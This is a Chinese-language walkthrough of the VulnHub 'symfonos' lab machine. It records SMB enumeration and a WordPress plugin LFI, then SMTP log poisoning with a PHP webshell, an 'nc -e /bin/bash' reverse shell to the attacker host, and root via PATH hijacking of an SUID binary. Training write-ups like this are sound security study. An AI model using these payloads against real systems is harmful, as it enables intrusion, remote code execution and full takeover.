靶机渗透 | vulnhub | symfonos
核心：
通过 SMTP 日志投毒使得 LFI 漏洞实现 RCE
通过 PATH 劫持 curl 实现 SUID 提权
渗透流程
信息收集
kali ip
ifconfig
192.168.155.128
靶机ip
nmap -sP 192.168.155.0/24
192.168.155.136
端口扫描
nmap -p- --min-rate 3000 -T4 192.168.155.135
PORT STATE SERVICE
68/udp open|filtered dhcpc
137/udp open netbios-ns
138/udp open|filtered netbios-dgm
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 ab:5b:45:a7:05:47:a5:04:45:ca:6f:18:bd:18:03:c2 (RSA)
| 256 a0:5f:40:0a:0a:1f:68:35:3e:f4:54:07:61:9f:c6:4a (ECDSA)
|_ 256 bc:31:f5:40:bc:08:58:4b:fb:66:17:ff:84:12:ac:1d (ED25519)
25/tcp open smtp Postfix smtpd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=symfonos
| Subject Alternative Name: DNS:symfonos
| Not valid before: 2019-06-29T00:29:42
|_Not valid after: 2029-06-26T00:29:42
|_smtp-commands: symfonos.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.25 (Debian)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
针对开放端口
nmap --script vuln -p22,25,68,80,137,138,139,445,8080 192.168.155.136
web目录扫描
gobuster dir \
-u http://192.168.155.136 \
-w /usr/share/wordlists/dirb/common.txt \
-x php,txt,html
发现 manual 下是Apache HTTP Server Version 2.4
Documentation 但是没有可利用的
SMB服务扫描
smbclient -L 192.168.155.136
print$ Disk Printer Drivers
helios Disk Helios personal share
anonymous Disk
IPC$ IPC IPC Service (Samba 4.5.16-Debian)
突破点在smb
对 SMB 服务发起访问，进入共享目录
发现 anonymous 匿名用户和 helios 个人共享账户
查看里面的共享资源
smbclient //192.168.155.136/anonymous
anonymous下 ls
文件拿到kali
get attention.txt
发现是提示密码 'epidioko', 'qwerty' and 'baseball'
登陆 helios
smbclient //192.168.155.136/helios -U helios%qwerty
同理观察文件发现 /h3l105
尝试访问发现 http://192.168.155.136/h3l105 是一个wordpress搭建的
观察源码、后台登陆、搜索有关版本漏洞信息 并且利用wpscan扫描漏洞
wpscan --url http://symfonos.local/h3l105/
web页面有一个输入框发现指向了 http://symfonos.local/h3l105/
针对这个我们用wordpress专用的扫描
(可以先解析一下域名 grep -n 'symfonos.local' /etc/hosts)
wpscan --url http://symfonos.local/h3l105/
针对插件
wpscan --url http://192.168.155.136/h3l105/ \
--enumerate ap \
--plugins-detection aggressive
发现mail-masta和site-editor插件
[+] mail-masta
| Location: http://192.168.155.136/h3l105/wp-content/plugins/mail-masta/
| Latest Version: 1.0 (up to date)
| Last Updated: 2014-09-19T07:52:00.000Z
| Readme: http://192.168.155.136/h3l105/wp-content/plugins/mail-masta/readme.txt
| [!] Directory listing is enabled
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.155.136/h3l105/wp-content/plugins/mail-masta/ , status: 200
|
| Version: 1.0 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://192.168.155.136/h3l105/wp-content/plugins/mail-masta/readme.txt
[+] site-editor
| Location: http://192.168.155.136/h3l105/wp-content/plugins/site-editor/
| Latest Version: 1.1.1 (up to date)
| Last Updated: 2017-05-02T23:34:00.000Z
| Readme: http://192.168.155.136/h3l105/wp-content/plugins/site-editor/readme.txt
可以找一找相关的版本漏洞
searchsploit mail masta
searchsploit site editor
漏洞信息
┌──(root㉿kali)-[~/Desktop]
└─# searchsploit mail masta
searchsploit site edito
------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------ ---------------------------------
WordPress Plugin Mail Masta 1.0 - Local F | php/webapps/40290.txt
WordPress Plugin Mail Masta 1.0 - Local F | php/webapps/50226.py
WordPress Plugin Mail Masta 1.0 - SQL Inj | php/webapps/41438.txt
------------------------------------------ ---------------------------------
Shellcodes: No Results
------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------ ---------------------------------
Apple WebKit / Safari 10.0.3(12602.4.8) - | multiple/webapps/42064.html
CityPost PHP Image Editor M1/M2/M3/Imgsrc | php/webapps/25459.txt
CKEditor - 'posteddata.php' Cross-Site Sc | php/webapps/38322.txt
CKEditor 5 35.4.0 - Cross-Site Scripting | php/webapps/51260.txt
Django CMS 3.3.0 - Editor Snippet Persist | python/webapps/40129.txt
Dreambox Plugin BouquetEditor - Cross-Sit | hardware/webapps/42986.txt
Drupal Module CKEditor 3.0 < 3.6.2 - Pers | php/webapps/18389.txt
Drupal Module CKEditor < 4.1WYSIWYG (Drup | php/webapps/25493.txt
EasySite 2.0 - 'image_editor.php' Remote | php/webapps/31588.txt
FCKEditor Core - 'Editor 'spellchecker.ph | php/webapps/37457.html
FlexCMS 2.5 - 'inc-core-admin-editor-prev | php/webapps/32254.txt
Jax PHP Scripts 1.0/1.34/2.14/3.31 - 'dwt | php/webapps/26081.txt
Kim Websites 1.0 - 'FCKeditor' Arbitrary | php/webapps/6410.txt
KindEditor - 'name' Cross-Site Scripting | php/webapps/37652.txt
Mambo Open Source 4.6.2 - '/mambots/edito | php/webapps/32253.txt
Moeditor 0.2.0 - Persistent Cross-Site Sc | multiple/webapps/49830.js
MoinMoin 1.x - 'PageEditor.py' Cross-Site | cgi/webapps/34080.txt
MyBB Visual Editor 1.8.18 - Cross-Site Sc | php/webapps/45449.txt
Nakid CMS 1.0.2 - 'CKEditorFuncNum' Cross | php/webapps/35829.txt
Network Weathermap 0.97a - 'editor.php' P | php/webapps/24913.txt
ocPortal 7.1.5 - 'code_editor.php' Multip | php/webapps/37022.txt
Orbis CMS 1.0.2 - 'editor-body.php' Cross | php/webapps/34253.txt
Plesk Small Business Manager 10.2.0 and S | php/webapps/15313.txt
pragmaMx 1.12.1 - '/includes/wysiwyg/spaw | php/webapps/37313.txt
Site@School 2.4.10 - 'FCKeditor' Session | php/webapps/6005.php
SiteWare 2.5/3.0/3.1 Editor Desktop - Dir | java/webapps/20925.txt
SnippetMaster Webpage Editor 2.2.2 - Remo | php/webapps/8017.txt
WordPress Plugin Site Editor 1.1.1 - Loca | php/webapps/44340.txt
WordPress Plugin User Role Editor 3.12 - | php/webapps/25721.txt
------------------------------------------ ---------------------------------
Shellcodes: No Results
下载这个文件看漏洞描述
searchsploit -m 40290.txt
里面有一个这个
http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
这个url很容易想到文件包含
利用文件包含漏洞
访问
执行成功
前面nmap扫描的时候发现 25端口开启了smtp
smtp服务开启 能发邮件进去
邮件日志 /var/mail/<user>
尝试去包含helios用户的邮件日志 payload:
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios
成功
SMTP 日志投毒
使用telnet向helios用户发送植入了一句话木马的文件，然后利用 LFI 漏洞 RCE
telnet 192.168.155.136 25
MAIL FROM: icepeak
RCPT TO: helios
data
<?php system($_GET['cmd']); ?>
.
QUIT
测试一下
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=id
成功植入一句话木马 RCE成功
反弹shell
kali监听 nc -lvp 4444
http://192.168.155.136/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=nc%20-e%20/bin/bash%20192.168.155.128%204444
拿到shell
┌──(root㉿kali)-[~/Desktop/ceshi]
└─# nc -lvvp 4444
listening on [any] 4444 ...
192.168.155.136: inverse host lookup failed: Unknown host
connect to [192.168.155.128] from (UNKNOWN) [192.168.155.136] 57628
ls
ajax_camp_send.php
ajaxreport.php
campaign-delete.php
count_of_send.php
create-campaign.php
demo-view-campaign.php
immediate_campaign.php
post_campaign_send.php
test_mail.php
view-campaign-list.php
view-campaign.php
拿到shell之后
看权限 不是root提权root
SUID提权
看有 SUID 权限的文件
find-perm -u=s -type f 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/opt/statuscheck
/bin/mount
/bin/umount
/bin/su
/bin/ping
/opt/statuscheck 可疑
观察这个文件
file /opt/statuscheck
是一个二进制文件 看源数据
strings /opt/statuscheck
strings /opt/statuscheck
/lib64/ld-linux-x86-64.so.2
libc.so.6
system
__cxa_finalize
__libc_start_main
_ITM_deregisterTMCloneTable
__gmon_start__
_Jv_RegisterClasses
_ITM_registerTMCloneTable
GLIBC_2.2.5
curl -I H
http://lH
ocalhostH
AWAVA
AUATL
[]A\A]A^A_
;*3$"
GCC: (Debian 6.3.0-18+deb9u1) 6.3.0 20170516
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
completed.6972
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
prog.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
_edata
system@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got.plt
.data
.bss
.comment
观察文件内容:
system("curl -I http://localhost")
PATH 劫持 curl 提权
statuscheck 带 SUID 位、所有者是 root
程序内部 system("curl ...") → 启动 shell 找 curl
我们想办法让 statuscheck 这个文件 curl 执行 我们自定义的内容
cd /tmp
echo "/bin/sh" > curl
chmod 777 curl
export PATH=/tmp:$PATH
echo $PATH
/opt/statuscheck
我们在临时目录下伪造一个curl文件并赋予可执行权限，并添加环境变量到最前面
这样运行statuscheck 其中 curl 对把我们自定义的文件 curl 当做命令来执行 执行里的 /bin/sh
最终拿到statuscheck的带有SUID权限的shell
即root
cd /tmp
echo "/bin/sh" > curl
chmod 777 curl
export PATH=/tmp:$PATH
echo $PATH
/opt/statuscheck
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
/opt/statuscheck
whoami
root
补充
WordPress 的攻击面结构
WordPress 核心）、主题（themes）、插件（plugins）
插件重点关注
Log Poisoning（日志投毒）
凡是内容会被外部输入污染、又能被 PHP 包含的文件，都是 LFI→RCE 的跳板。
常见对外开放通道：
- Apache 开着 → access.log 是写入通道
- SSH 开着 → auth.log 是写入通道
- SMTP 开着 → /var/mail 是写入通道 ← 本题场景
- FTP 开着 → 上传的临时文件是写入通道
拿到 shell 后 提权常见路径有几条：
- 内核漏洞（脏牛等）→ 需要先看内核版本
- UID 文件→ find 命令
- 计划任务 / 可写脚本→ 需要翻配置
- sudo 配置错误 →
sudo -l一条命令
浙公网安备 33010602011771号